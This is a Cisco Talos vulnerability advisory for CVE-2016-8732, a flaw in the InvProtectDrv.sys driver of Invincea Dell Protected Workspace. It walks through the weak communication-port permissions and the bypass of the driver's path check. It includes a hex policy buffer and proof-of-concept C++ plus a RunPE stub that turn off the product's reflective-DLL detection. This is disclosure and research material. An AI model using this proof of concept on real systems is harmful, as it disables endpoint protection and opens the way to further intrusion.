Talos Vulnerability Report

TALOS-2016-0246

Invincea Dell Protected Workspace Protection Bypass

June 30, 2017
CVE Number

CVE-2016-8732

Summary

Multiple security flaws exists in InvProtectDrv.sys which is a part of Invincea Dell Protected Workspace 5.1.1-22303. Weak restrictions on the driver communication channel and additonal insufficient checks allow any application to turn off some of the protection mechanisms provided by the Invincea product.

Tested Versions

Invincea Dell Protected Workspace build 5.1.1-22303

Product URLs

http://www.dellprotectedworkspace.com/
https://www.invincea.com

CVSSv3 Score

7.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Details

This vulnerability is present in the InvProtectDrv.sys driver which is a part of the Invincea Dell Protected Workspace. This product provides sandbox functionality for Windows environments. Due to weak permissions on the driver communication channel and ineffective additional checks, any malicious application can communicate with driver and turn off some of the security functionality provided by this product.

Let’s investigate these flaws. The InvProtectDrv.sys driver creates a communication port via the FltCommunicationPort with weak security descriptions allowing any user to communicate with this port. The vulnerable code looks as follows:

Line 1       v2 = FltBuildDefaultSecurityDescriptor(&acl, 0x1F0001);
Line 2       DbgPrint("InvProtectDrv: FltBuildDefaultSecurityDescriptor 0x%x\n", v2);
Line 3       if ( v2 >= 0 )
Line 4       {
Line 5         RtlSetDaclSecurityDescriptor(acl, 1u, 0, 0);
Line 6         RtlInitUnicodeString(&DestinationString, L"\\InvProtectDrvPort");
Line 7         v7 = &DestinationString;
Line 8         v5 = 24;
Line 9         v6 = 0;
Line 10        v8 = 576;
Line 11        v9 = acl;
Line 12        v10 = 0;
Line 13        v3 = FltCreateCommunicationPort(
Line 14               dword_95B930E0,
Line 15               &dword_95B930E4,
Line 16               &v5,
Line 17               0,
Line 18               sub_95B8C360,
Line 19               sub_95B8C3A0,
Line 20               MessageNotifyCallback,
Line 21               1);

The amount of applications to can connect with this port is limited to one but because the connection is occupied by a user mode application which is not protected, malicious application can kill the InvProtectAgent.exe process and connect to the port.

The Routine responsible for handling messages sent to the driver is at line 20 MessageNotifyCallback. One of the functionalities of this communication channel is to apply new policies to the sandbox.

Part of MessageNotifyCallback looks as follows:

Line 1 	int __stdcall MessageNotifyCallback(PVOID PortCookie, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnOutputBufferLength)
Line 2 	{
Line 3 	(...)
Line 4 		if ( controlCode == 1 )
Line 5 		{
Line 6 		  DbgPrint("InvProtectDrv: USER_STARTED %d\n", 1);
Line 7 		  pid = PsGetCurrentProcessId();
Line 8 		  if ( !checkApplicationLocation(pid) )
Line 9 		  {
Line 10			DbgPrint("InvProtectDrv: USER_STARTED access denied.\n");
Line 11			OutputBufferLength = 0xC0000022;
Line 12			*ReturnOutputBufferLength = (ULONG)OutputBuffer;
Line 13			return OutputBufferLength;
Line 14		  }
Line 15		  applyNewPolicy((struct_InputBuffer *)InputBuffer, InputBufferLength);

As we can see, before the new policy is applied, the location of the application which sent it is checked. There are a couple of absolute application paths defined and only applications from this paths are able to satifisy this constraint. Let’s take a look at the checkApplicationLocation function:

Line 1 	char __stdcall checkApplicationLocation(HANDLE pid)
Line 2 	{
Line 3 	(...)
Line 4 	  senderAppPath = (UNICODE_STRING *)getPathFromPid((SIZE_T)pid, 0);
Line 5 	  if ( senderAppPath )
Line 6 	  {
Line 7 		v3 = (unsigned __int16)(installationDir->Length + 60);
Line 8 		v4 = ExAllocatePoolWithTag(0, v3, 0x4D766E49u);
Line 9 		P = v4;
Line 10		if ( v4 )
Line 11		{
Line 12		  allowedAppStr.Buffer = (PWSTR)v4;
Line 13		  allowedAppStr.Length = 0;
Line 14		  allowedAppStr.MaximumLength = v3;
Line 15		  RtlCopyUnicodeString(&allowedAppStr, installationDir);
Line 16		  index = 0;
Line 17		  while ( 1 )
Line 18		  {
Line 19			allowedApp = allowedApps[index];
Line 20			allowedAppStr.Length = installationDir->Length;
Line 21			v7 = RtlAppendUnicodeToString(&allowedAppStr, allowedApp);
Line 22			if ( !RtlCompareUnicodeString(senderAppPath, &allowedAppStr, 1u) )
Line 23			  break;
Line 24			if ( v7 < 0 )
Line 25			  DbgPrint("InvProtectDrv: %x in %s, ln %d\n", v7, "Driver\\InvProtectDrv.c", 2673);
Line 26			if ( ++index >= 4u )
Line 27			  goto end_of_array;
Line 28		  }
Line 29		  allowed = 1;
Line 30

In the while loop at lines 17-28, we see a comparison of the array allowedApps’s elements with senderAppPath. If the sender’s application path is equal to one of paths, the allowed flag is set to one.

The content of allowedApps is as follow:

.data:95B930A0 ; PCWSTR allowedApps[4]
.data:95B930A0 allowedApps     dd offset aInvprotect_exe
.data:95B930A0                                         ; DATA XREF: checkApplicationLocation+9Cr
.data:95B930A0                                         ; "InvProtect.exe"
.data:95B930A4                 dd offset aInvprotect64_e ; "InvProtect64.exe"
.data:95B930A8                 dd offset aInvprotectsvc_ ; "InvProtectSvc.exe"
.data:95B930AC                 dd offset aInvprotectsvc6 ; "InvProtectSvc64.exe"

Because the standard installation directory of the executable files listed in this array is C:\Program Files\Invincea\Enterprise, an unprivileged user can’t put a malicious executable in that location. To bypass that check attacker can use the RunPE technique on one of the executables listed in the allowedApps array. That way, the executable path check will be satisfied. After bypassing this check, the attacker needs to provided a properly formatted buffer to trigger specific actions. Examining the process reveals that the structure of the inputBuffer contains a new policy that looks as follows:

	struct Policy
	{
		DWORD policySize;
		DWORD policyType;
		BYTE  policyData[];
	}
	struct Package
	{
		DWORD command;
		DWORD policiesAmount;
		Policy[policiesAmount];	
	}

Inside the applyNewPolicy function we find call to a routine which exposes what type of policy and functionality we can trigger.

Line 1 	ULONG __stdcall sub_95B8C730(int a1)
Line 2 	{
Line 3 	  ULONG result; // eax@3
Line 4 
Line 5 	  if ( *(_DWORD *)(a1 + 4) == 1 )
Line 6 	  {
Line 7 		if ( *(_DWORD *)(a1 + 8) )
Line 8 		{
Line 9 		  sub_95B8FA50(1);
Line 10		  result = DbgPrint("DetectReflectiveDll is on\n");
Line 11		}
Line 12		else
Line 13		{
Line 14		  sub_95B8FA50(0);
Line 15		  result = DbgPrint("DetectReflectiveDll is off\n");
Line 16		}
Line 17	  }
Line 18	  else if ( *(_DWORD *)(a1 + 4) == 2 )
Line 19	  {
Line 20		if ( *(_DWORD *)(a1 + 8) )
Line 21		{
Line 22		  sub_95B8FA60(1);
Line 23		  result = DbgPrint("KillReflectiveDllProcess is on\n");
Line 24		}
Line 25		else
Line 26		{
Line 27		  sub_95B8FA60(0);
Line 28		  result = DbgPrint("KillReflectiveDllProcess is off\n"); 

We can see that sending a properly formatted inputBuffer we can turn functionality on or off that is related to: - reflective dll detection - killing a process with a reflective dll

An example of an input buffer that contains a policy that will disable both the options above looks like this:

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000000   01 00 00 00 00 00 00 70  0C 00 00 00 01 00 00 00   .......p........
00000010   01 00 00 00 01 00 00 00  0C 00 00 00 01 00 00 00   ................
00000020   01 00 00 00 00 00 00 00  0C 00 00 00 01 00 00 00   ................
00000030   02 00 00 00 00 00 00 00                            ........

After running the PoC code below with the inputBuffer defined above, we see the following messages in DebugView:

`
[3388] SetOSData
[3388] SetOSData GetProcAddress
[3388] GetKnownFolder
[3388] GetSysLibHandle Fore
[3388] GetSysLibHandle existed
InvProtectDrv: Thread offset 0x2c
InvProtectDrv: Peb offset 0x1a8
InvProtectDrv: Params offset 0x10
InvProtectDrv: CmdLine offset 0x40
InvProtectDrv: FltRegisterFilter 0x0
InvProtectDrv: FltBuildDefaultSecurityDescriptor 0x0
InvProtectDrv: FltCreateCommunicationPort 0x0
InvProtectDrv: call Sandbox driver
InvProtectDrv: SboxSetNotifyRoutine 0x0
InvProtectDrv: PsSetCreateThreadNotifyRoutine 0x0
InvProtectDrv: FltStartFiltering 0x0
InvProtectDrv: CmRegisterCallback 0x0
InvProtectDrv: PsSetLoadImageNotifyRoutine 0x0
InvProtectDrv: Firewall driver is loaded.
InvProtectDrv: DriverEntry completed
InvProtectDrv: Port Connect
InvProtectDrv: SVC_STARTED 3
DetectReflectiveDll is on
KillReflectiveDllProcess is off
kServicePort: 86c4d088
InvProtectDrv: call Sandbox driver
InvProtectDrv: SboxSetNotifyRoutine 0x0
FsContext entry size: 0
InvProtectDrv: kUPDATE_CYNOMIX_POLICY 9
InvProtectDrv: Cynomix is disabled.
(...)
[+]Connection set. Ready for actions
inBuffer = 0x00af3451  size : 0x38
InvProtectDrv: USER_STARTED 1
DetectReflectiveDll is off
KillReflectiveDllProcess is off
InvProtectDrv: SboxSetNotifyRoutine
[+]Message Sent	
`

PoC

---------------------------------------   payload.exe  --------------------------------------------
#include "stdafx.h"
#include "Win32Project1.h"
#include <Windows.h>
#include <Fltuser.h>
#pragma comment(lib,"FltLib")
#include <fstream>
using namespace std;

#define _CRT_SECURE_NO_WARNINGS

void LogMessage(char* pszFormat, ...) {

	static char s_acBuf[2048]; // this here is a caveat!

	va_list args;

	va_start(args, pszFormat);

	vsprintf(s_acBuf, pszFormat, args);

	OutputDebugStringA(s_acBuf);

	va_end(args);
}

PBYTE readFile(LPWSTR fileName, PDWORD size)
{
	PBYTE buffer;
	ifstream file(fileName, ios::binary);
	if (!file.is_open())
	{
		printf("Could no open file\n");
		exit(0);
	}

	file.seekg(0, file.end);
	*size = file.tellg();
	file.seekg(0, file.beg);
	buffer = new BYTE[*size];
	file.read((char*)buffer, *size);
	file.close();
	return buffer;
}
void dumpFile(PBYTE buff,DWORD buffSize)
{
	ofstream file("C:\\tmp\\outbuff.bin");
	file.write((char*)buff,buffSize);
	file.close();

}

void sendMessage()
{
	HANDLE portHandle;
	HRESULT result;
	DWORD inBufferLen;
	PBYTE inBuffer;
	const DWORD outBufferLen = 0x1000;
	BYTE outBuffer[0x1000] = { 0 };
	DWORD returned;
	LPCWSTR portName = L"\\InvProtectDrvPort";
	result = FilterConnectCommunicationPort(portName, 0, 0, 0, 0, &portHandle);

	if (IS_ERROR(result))
	{
		LogMessage("[-]Problem with connection : 0x%x\n", result);
		return;
	}
	LogMessage("[+]Connection set. Ready for actions\n");

	inBuffer = readFile(L"C:\\tmp\\package.bin", &inBufferLen);
	LogMessage("inBuffer = 0x%x  size : 0x%x\n", inBuffer, inBufferLen);
	result = FilterSendMessage(portHandle, inBuffer, inBufferLen, outBuffer, outBufferLen, &returned);
	if (IS_ERROR(result))
	{
		LogMessage("[-]FilterSend went wrong : 0x%x\n", result);
		return;
	}
	LogMessage("[+]Outbuff dumped with size : 0x%x\n",returned);
	dumpFile(outBuffer, returned);
	LogMessage("[+]Message Sent\n");
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
					 _In_opt_ HINSTANCE hPrevInstance,
					 _In_ LPTSTR    lpCmdLine,
					 _In_ int       nCmdShow)
{
	
	sendMessage();
	return 0;
}
---------------------------------------   payload.exe  --------------------------------------------

------------------------------------------ runpe.exe   ---------------------------------------------

int _tmain(int argc, _TCHAR* argv[])

LPWSTR src = L"C:\\Program Files\\Invincea\\Enterprise\\InvProtect.exe";
LPWSTR payload = L"Z:\\tmp\\payload.exe";
killProcess("InvProtect.exe");
runPE(src, readFile(payload));
return 0;


------------------------------------------ runpe.exe   ---------------------------------------------

Timeline

2016-12-01 - Vendor Disclosure
2017-06-30 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.